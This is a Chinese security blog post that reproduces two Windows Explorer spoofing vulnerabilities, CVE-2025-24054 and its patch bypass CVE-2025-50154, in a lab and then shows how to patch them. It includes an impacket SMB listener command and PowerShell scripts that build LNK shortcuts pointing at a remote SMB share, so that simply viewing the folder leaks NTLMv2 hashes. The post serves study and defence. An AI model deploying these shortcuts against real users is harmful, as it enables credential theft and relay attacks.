目录

系统安全Windows文件资源管理器欺骗漏CVE-2025-24054CVE-2025-50154

【系统安全】Windows文件资源管理器欺骗漏(CVE-2025-24054、CVE-2025-50154)

[https://csdnimg.cn/release/blogv2/dist/pc/img/activeVector.png VibeCoding·九月创作之星挑战赛 10w+人浏览 1.9k人参与

https://csdnimg.cn/release/blogv2/dist/pc/img/arrowright-line-White.png]( )


前言

Windows文件资源管理器存在高危欺骗漏洞(CVE-2025-50154),攻击者可制作伪装成文档图标的恶意LNK文件,当用户仅尝试查看其所在文件夹时,便会触发资源管理器自动连接攻击者控制的远程SMB服务器,从而在用户无任何点击操作的情况下窃取其NTLMv2认证凭证。


声明

在网络安全领域,技术文章应谨慎使用,遵守法律法规,严禁非法网络活动。未经授权,不得利用文中信息进行入侵,造成的任何后果,由使用者自行承担,本文作者不负责。提供的工具仅限学习使用,严禁外用。

一、NTLM介绍

NTLMNew Technology LAN Manager的缩写,是微软用于确认用户身份和保护网络通信的身份验证协议系列。它通过直接的客户端-服务器质询/响应过程工作,服务器发出质询,客户端在不通过网络传输实际密码的情况下证明其身份。

虽然NTLMv2受到保护,可以抵御彩虹表和哈希传递等预计算攻击,但捕获的哈希仍可能被利用。攻击者可能尝试离线暴力破解它们,或使用中继攻击——一种中间人方法,将窃取的哈希传递给另一个服务以作为用户登录。如果被入侵的账户具有提升的权限,这可能迅速导致权限提升和网络横向移动。

二、漏洞描述

该漏洞源于Windows资源管理器(explorer.exe)处理LNK文件图标资源的逻辑缺陷。微软在修复先前CVE-2025-24054时,仅阻断了基于UNC路径的远程图标加载,却未覆盖攻击者利用远程SMB共享中可执行文件内嵌图标(位于 .rsrc段的RT_ICONRT_GROUP_ICON资源)的场景。恶意LNK文件可通过将图标指向本地Shell32.dll,同时将可执行路径指向远程SMB二进制文件,诱使资源管理器自动加载该远程文件以解析其图标资源,进而在用户无交互的情况下触发NTLM认证,导致NTLMv2-SSP哈希泄露

三、漏洞机制

• 原始漏洞通过恶意 .lnk 快捷方式的 IconLocation 指向远程 UNC 路径触发 NTLM 认证
• 微软发布补丁阻止了基于 UNC 路径的图标渲染
• 新绕过手段:将 TargetPath 设置为远程可执行文件,IconLocation 使用本地 shell32.dll

三、影响范围

  • Windows 10 < 10.0.102400.21100
  • Windows 10 Version 1607 < 10.0.14393.8330
  • Windows 10 Version 1809 < 10.0.17763.7678
  • Windows 10 Version 21H2 < 10.0.19044.6216
  • Windows 10 Version 22H2 < 10.0.19045.6216
  • Windows 11 Version 22H2 < 10.0.22621.5768
  • Windows 11 Version 23H2 < 10.0.22631.5768
  • Windows 11 Version 24H2 < 10.0.26100.4946
  • Windows Server 2008 < 6.0.6003.23471
  • Windows Server 2008 R2 < 6.1.7601.27872
  • Windows Server 2012 < 6.2.9200.25622
  • Windows Server 2012 R2 < 6.3.9600.22725
  • Windows Server 2019 < 10.0.17763.7678
  • Windows Server 2022 < 10.0.20348.4052
  • Windows Server 23H2 Edition < 10.0.25398.1791
  • Windows Server 2025 < 10.0.26100.4946

四、漏洞复现

复现环境

KaLi Linux
未打补丁的Windows 10

KaLi Linux启动impacket渗透组件,开启一个SMB服务器来侦听传入的SMB连接

impacket-smbserver share . -smb2support

  • impacket-smbserver:为对应的impacket组件
  • share .:指将当前目录作为share共享
  • smb2support:开启SMB服务支持

https://i-blog.csdnimg.cn/direct/ba87ddca0b2a45e19e80a563d891075f.png

	# lnk文件的地址,若要复现请替换为自己的地址
	$shortcutPath = "C:\Users\Divide\Desktop\lab.lnk"
	# 目标程序的路径
	$targetPath = "C:\Windows\System32\notepad.exe"
	# 指定快捷方式使用的图标文件(.ico)的位置为远程地址,此处为关键点,只有设置为远程地址,才能让他访问我们开启的SMB服务器
	$iconLocation = "\\127.0.0.1\share\icon.ico"
	
	# 创建一个 Windows Script Host Shell 对象(通过 COM 组件 WScript.Shell)。  
	# 这个对象提供了操作快捷方式、环境变量、执行程序等能力。  
	# 将该对象赋值给变量$wShell,后续通过它来创建和管理快捷方式。
	$wShell = New-Object -ComObject WScript.Shell
	# 如果该路径已存在快捷方式,则会覆盖;如果不存在,则创建一个新的快捷方式对象
	$shortcut = $wShell.CreateShortcut($shortcutPath)
	# 设置快捷方式的“目标”属性,即点击快捷方式时要启动的程序路径
	$shortcut.TargetPath = $targetPath
	# 这里使用的是远程网络路径中的 .ico 图标文件
	$shortcut.IconLocation = $iconLocation
	# 对快捷方式对象的修改保存到磁盘中
	$shortcut.Save()
	
	Write-Output "Shortcut created at: $shortcutPath"

https://i-blog.csdnimg.cn/direct/fa184941fa7b4dc39f1ebce1736711ca.png

https://i-blog.csdnimg.cn/direct/06909bd386eb43ccb97d1a54c82eea24.png

https://i-blog.csdnimg.cn/direct/3b0ff014f5ac4901a38c5f662fefbd85.png

https://i-blog.csdnimg.cn/direct/8c6fb85828fb4a6eb150388b636acd3c.png

下载并安装补丁

Win+R键,输入winver查看对应windows版本

https://i-blog.csdnimg.cn/direct/fedf446cb69645e89acfd5298319f778.png

https://i-blog.csdnimg.cn/direct/15cef85869884daeb79b777ef478ee21.png

https://i-blog.csdnimg.cn/direct/faa335082cc8418cb4c50a8a8fa3a6d7.png
再次重复上面的复现步骤发现已无法获取到Hash值

https://i-blog.csdnimg.cn/direct/67628e87fc9a49c1ba43dc7697178264.png

五、Bypass-CVE-2025-50154

前面的CVE-2025-24054打上对应补丁之后,通过下面的方式可以实现绕过补丁修复,具体实现步骤如下:

还是在kali中启用impacket组件的SMB服务

https://i-blog.csdnimg.cn/direct/fbfdf09935284b658195dbee7b58334c.png
在前面的基础上只需要修改一下PowerShell生成LNK文件的方式即可更改脚本,使图标成为默认图标(Shell32.dll),使可执行值成为可以检索到的远程文件路径。

# 文件创建
$shortcutPath = "C:\Users\Administrator\Desktop\1\lab.lnk"
# 这个exe可以不用存在,只要把kali的SMB服务启动即可,同时这个地址必须是远程kali地址
$targetPath = "\\192.168.48.129\share\calc.exe"
# 修改图标为本地白名单来绕过
$iconLocation = "C:\Windows\System32\SHELL32.dll"

$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation

$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"

运行PowerSHell脚本,Kali Linux开启的SMB服务接收到Hash值

https://i-blog.csdnimg.cn/direct/876780f288e4492094de455e61bc951a.png
对应补丁以及漏洞信息如下:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154
也是一样下载下来之后进行安装

https://i-blog.csdnimg.cn/direct/bfc9929d8a4d435db55e948a29b40861.png
https://i-blog.csdnimg.cn/direct/bd9000f4045a4d798a262c01a02a9d42.png
安装完后进行重启操作,输入systeminfo可见KB5063709补丁更新已安装。

https://i-blog.csdnimg.cn/direct/c13c251fbedd4a4da581e967931c9e0b.png

六、修复建议

目前 Microsoft Windows 官网发布了修复补丁,建议在影响范围的用户下载升级至安全版本。

下载地址:https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-50154